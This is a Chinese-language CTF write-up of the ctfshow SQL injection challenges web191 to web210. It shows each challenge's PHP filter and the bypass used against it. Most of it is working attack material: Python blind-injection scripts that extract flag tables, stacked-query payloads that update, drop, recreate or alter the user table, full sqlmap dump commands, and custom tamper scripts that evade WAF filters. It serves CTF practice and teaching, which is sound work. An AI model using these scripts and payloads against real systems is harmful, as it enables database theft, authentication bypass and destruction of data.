sql注入


web191

  • 描述: 增加了过滤
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

因为没有用ascii()上一题的脚本也可以用

官方给出的脚本用的payload本来是这样的, 被过滤后在查找官方文档时发现替代品ord(), 将ascii换为ord即可

官方脚本:

import time
import requests

url = "http://35ecca49-f83a-4220-801d-e0ec911b111d.challenge.ctf.show/api/"
flag = ""

for i in range(1, 60):
max = 127
min = 32
while 1:
mid = (max + min) >> 1
if min == mid:
flag += chr(mid)
print(flag)
if chr(mid) == '}':
exit()
break

payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, mid)

data = {
"username": payload,
"password": 0
}

res = requests.post(url=url, data=data)
time.sleep(0.3)
if res.text.find("8bef") > 0:
max = mid
else:
min = mid

我用的(或许我也应该sleep 0.3s):

from requests import post
from string import digits, ascii_lowercase

url = 'http://35ecca49-f83a-4220-801d-e0ec911b111d.challenge.ctf.show/api/'
# 数据库值: ctfshow_web
# payload = 'admin\' and (select database()) regexp \'{}\' #'
# 表名: ctfshow_fl0g
# payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #'
# 字段: id,f10g
# payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #'
# 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4}
payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #'
flag = 'ctfshow{'
# flag需要修改, 不能留空

if __name__ == '__main__':
while True:
for c in '-}_' + digits + ascii_lowercase:
resp = post(url, {'username': payload.format(flag + c), 'password': '123'})
if '密码错误' in resp.json().get('msg'):
flag += c
print(flag)
if c == '}':
exit()
break

web192

  • 描述: 同上
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

改官方的好了, 我用的根本不在过滤里面

  1. 本来是对比ascii码, 现在直接对比字符即可
  2. 上一题程序不改字符范围会出现大写字母, 原因是在mysql中select ('a'='A')为true
import requests

url = "http://92c1fd93-611c-4f22-b429-69e3a1a1ac3a.challenge.ctf.show/api/"
flagstr = "{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""

for i in range(1, 60):
for mid in flagstr:
payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i, mid)

data = {
"username": payload,
"password": 0
}

res = requests.post(url=url, data=data)
if res.text.find("8bef") > 0:
flag += mid
print(flag)
if mid == '}':
exit()
break

还可以用其他的:

# 查数据库
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
payload = "select group_concat(f1ag) from ctfshow_fl0g"

'username': "admin' and if(substr(({payload}),{i},1)='{mid}', 1, 2) = '1",

web193

  • 描述: 同上

表名变成了ctfshow_flxg

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

这下更不能用了, 怎么办呢, 在字符串相关函数找找哪些能用, 测试如下:

select * from users where username = 'admin'and ((left((select flag from falg),1)='a'));

我用的连着几题都没变过(web191), 测试能用的情况下最终payload为:

import requests

url = "http://1f12c9cc-044c-441b-9a8b-0d69e978258d.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
tempstr = ""
flag = ""

for i in range(1, 60):
for mid in flagstr:
# 数据库:
# payload = "admin'and ((left((select database()),{})='{}'))#".format(i, tempstr + mid)
# 表名: ctfshow_flxg,ctfshow_user
# payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema = database()),{})='{}'))#".format(i, tempstr + mid)
# 字段: id,f1ag
# payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flxg'),{})='{}'))#".format(i, tempstr + mid)
# 获取flag:
payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i, tempstr + mid)

data = {
"username": payload,
"password": 0
}
res = requests.post(url=url, data=data)
if res.text.find("8bef") > 0:
tempstr += mid
flag += mid
print(flag)
if mid == '}':
exit()
break

web194

  • 描述: 同上
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

left之类的过滤了, 继续在官方文档里面找可用的函数, 找到lpad()

诶嘿, 我的还可以用

# 返回a
select lpad("abc",1,'');
# 返回ab
select lpaf("abc",2,'');

left大差不差, 将left改成lpad即可拿到flag

web195

  • 描述: 又双叒叕
//拼接sql语句查找指定ID用户, 单引号又没了
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

访问的时候注意到是堆叠注入, 同时分号也没有被过滤, 那就用堆叠注入

union是将两个查询一起执行, 而利用分号则是分别执行一次, 可以在本地数据库尝试

select被过滤, 不能用查询的方法, 但是既然可以在此处执行mysql命令, 可以直接覆盖$password的值

POST:
username=0;update`ctfshow_user`set`pass`=1&password=1

发包修改后登录即可, 因为没有单引号包裹且被过滤, 我们无法传入admin这个字符串, 只能用0了:

POST:
username=0&password=1

image-20240811201326033

web196

  • 描述: 用户名不能太长
  //拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

官方给的非预期是从web171中泄露的用户名和密码:

POST:
username=0&password=passwordAUTO

似乎还有解法:

POST:
username=1;select(1)&password=1

web197

  • 描述: 用户名可以很长
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

可以很长, 又不能联合注入, 而且没有通过单引号包含传入的参数, 尝试执行相关命令: 更新表或者删除后新建一个一样的表:

drop table ctfshow_user;
create table ctfshow_user(`username` varchar(100),`pass` varchar(100));
insert ctfshow_user(`username`,`pass`) value(1,2);

payload如下, 随后用账号:1密码:2登录即可

POST:
username=0;drop table ctfshow_user; create table ctfshow_user(`username` varchar(100),`pass` varchar(100)); insert ctfshow_user(`username`,`pass`) value(1,2);&password=1

非预期?: username=0;show tables&password=ctfshow_user, 至于为什么能成功, 我不太清楚:

show tables;会输出当前数据库内表名, 按理来说似乎不能过password的判断

web198

  • 描述: 用户名可以更长
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

create也没了, 如果不能写, 可以利用执行的命令将列中的数据调换比如change(其中要有一个新的列充当临时列), 添加0;后直接粘贴进用户名输入界面

然后用username=0&password=userAUTO登录即可, 问就是可以通过web171得到用户名

alter table ctfshow_user change `username` `passw2` varchar(100);
alter table ctfshow_user change `pass` `username` varchar(100);
alter table ctfshow_user change `passw2` `pass` varchar(100);

亦或者利用insert插入账号密码, 然后用username=1&password=2登录

insert ctfshow_user(`username`,`pass`) value(1,2)

上面那个非预期解法也能用

web199

  • 描述: 继续
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

web197的非预期也能用, 用web198的payload只需要将varchar改为text, 其余步骤相同

alter table ctfshow_user change `username` `passw2` text;
alter table ctfshow_user change `pass` `username` text;
alter table ctfshow_user change `passw2` `pass` text;

你可以在数据库管理工具比如navicat中修改列的类型, 默认是varchar, 下拉就可以找到其他类型用于替换, 还是需要多本地尝试

web200

  • 描述: 堆叠告一段落
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

web197的非预期可以用, web199可以用

web201

  • 描述: 开始系统练习sqlmap的使用

sqlmap官方文档, 中文总结 ,大佬详细测试

你先别急, 提交和打开的界面不一样, 先测试过滤:

在api处随便传入id, 返回"不使用sqlmap是没有灵魂的", 结合题目提示, 应该是要我们修改UA为sqlmap; 再次发包后返回"打击盗版人人有责,你都不是从ctf.show来的", 那么这个就是referer检测了

image-20240812045431076

绕过之后可以正常查询, 剩下的交给sqlmap

# 判断注入
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show
# 数据库
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show --dbs
# 表
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
# 字段(可以跳过)
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 值
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

image-20240812050827876

web202

  • 描述: 同上

提示是用–batch改输入方式, 加上即可得到flag

变为POST方式发送, 别问为什么题目给的还是$_GET

python3 .\sqlmap.py -u "http://97472135-302e-4f32-a7f3-d798ce3c0271.challenge.ctf.show/api/" --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

  • 描述: 同上

在bp类工具中是不需要管Content-type的, 但是在sqlmap就需要加上, 原因可能是data本身是按照表单形式发送数据

image-20240812181633887

python3 .\sqlmap.py -u "http://ab638a67-33f8-42c9-9323-11c2d3040f39.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain -D ctfshow_web -T ctfshow_user --dump

web204

  • 描述: 同上

新增了cookie, 打开网页后在控制台的ApplicationCookies中, 先右键clear然后刷新界面即可得到cookie

python3 .\sqlmap.py -u "http://752f281b-5cfc-435a-8400-abc6f24d4b92.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --cookie="PHPSESSID=5ktroj6g93e37kht5i4p5j6sd4;ctfshow=acbe58269fae75b2123e21cbf892ce7a" -D ctfshow_web -T ctfshow_user --dump

web205

  • 描述: 同上

api调用需要鉴权, 抓包可以发现是先访问api/getToken获取Token再访问api/index.php

利用–safe-url即可先访问鉴权链接再访问api, 记得添加--safe-freq=1

在测试之后发现没有flag输出, 再次注入发现表名换了

python3 .\sqlmap.py -u "http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=g8e78tvkumdeac399oq5q7ma1r" -D ctfshow_web --tables

payload:

python3 .\sqlmap.py -u "http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=g8e78tvkumdeac399oq5q7ma1r" -D ctfshow_web -T ctfshow_flax --dump

web206

  • 描述: 同上

sql需要闭合, 你说的对, 但是据说会自己检测

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

记得更换Cookie

给payload增加前缀和后缀就可以绕过闭合, 利用

  1. –prefix 攻击载荷的前缀
  2. –suffix 攻击载荷的后缀

表又换了

python3 .\sqlmap.py -u "http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=i5h52knr3c0gcir1bk2p7na87v" --prefix="')" --suffix="#" -D ctfshow_web --tables

payload:

python3 .\sqlmap.py -u "http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=i5h52knr3c0gcir1bk2p7na87v" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

web207

  • 描述: 同上

–tamper 的初体验, 引入已经写好的绕过脚本, 这个在sqlmap的tamper文件夹下可以找到众多脚本

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}

space2comment.py 打开看描述是将空格替换为/**/

跑表名, 又换咯

python3 .\sqlmap.py -u "http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=cg94j982tfcuo95gcqjpc7lttp" --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web --tables

payload

python3 .\sqlmap.py -u "http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=cg94j982tfcuo95gcqjpc7lttp" --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca --dump

web208

  • 描述: 同上
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}

将select替换为空, 利用双写绕过或者大小写绕过即可

但是你先别急, sqlmap默认的语句中select是大写的, 根本不用绕过, 直接执行即可, 记得换表

python3 .\sqlmap.py -u "http://06e1020c-46ca-4bfa-bf50-404bcba0d0f8.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://06e1020c-46ca-4bfa-bf50-404bcba0d0f8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=osljp7s3hvh72lvml0h119jrmh" --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxcac --dump

upppercase.py是将所有查询语句换为大写的脚本, 也可以加进去

你也可以自己写一个脚本塞进去, 记得是SELECT替换成SESELECTLECT, 可以用-v [0-6]查看调试信息, 数字为详细等级

tamper脚本教学

web209

  • 描述: 同上
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

查询语句换回来了而且增加了过滤, 官方给的脚本不太好用,不如我们自己写

文件为personal.py, 可以利用一些现成的模板

在查看详细信息和本地测试的时候=不能直接替换为like, sqlmap会生成类似1like1这样的payload, 是不执行的, 但是1 like 1是可以执行的, 所以替换为chr(0x0a) + 'like' + chr(0x0a)

官方给的简化版的:

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace("COUNT(*)", "COUNT(id)")
retVal = retVal.replace(" ", chr(0x09))
retVal = retVal.replace("=", chr(0x09) + "like" + chr(0x09))

return retVal

文件放在tamper文件夹下即可执行命令

python3 .\sqlmap.py -u "http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=4klk7a5hn71prtgqum1e50dmbu" --tamper=personal -D ctfshow_web --tables

换新的表ctfshow_flav

python3 .\sqlmap.py -u "http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6cp2hdmtd3tmtolmh0nium5jn1" --tamper=personal -D ctfshow_web -T ctfshow_flav --dump

下面这个大佬的脚本也可以, 如果前面测试太多都会出错, 因为sqlmap缓存会直接跳过前面判断的步骤, 这时候只能根据调试信息修改脚本, 这个是根据space2comment.py改的

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):

retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x0a) + 'like' + chr(0x0a)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

web210

  • 描述: 同上

还是利用tamper

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

没过滤, 那就直接干就完了

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
retVal = payload
if payload:
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
retVal = payload.decode()

return retVal

查表, 这次是ctfshow_flavi

python3 .\sqlmap.py -u "http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=urg0ta0238vngcc04h9p5mll50" --tamper=personal -D ctfshow_web --tables

获取flag

python3 .\sqlmap.py -u "http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=urg0ta0238vngcc04h9p5mll50" --tamper=personal -D ctfshow_web -T ctfshow_flavi --dump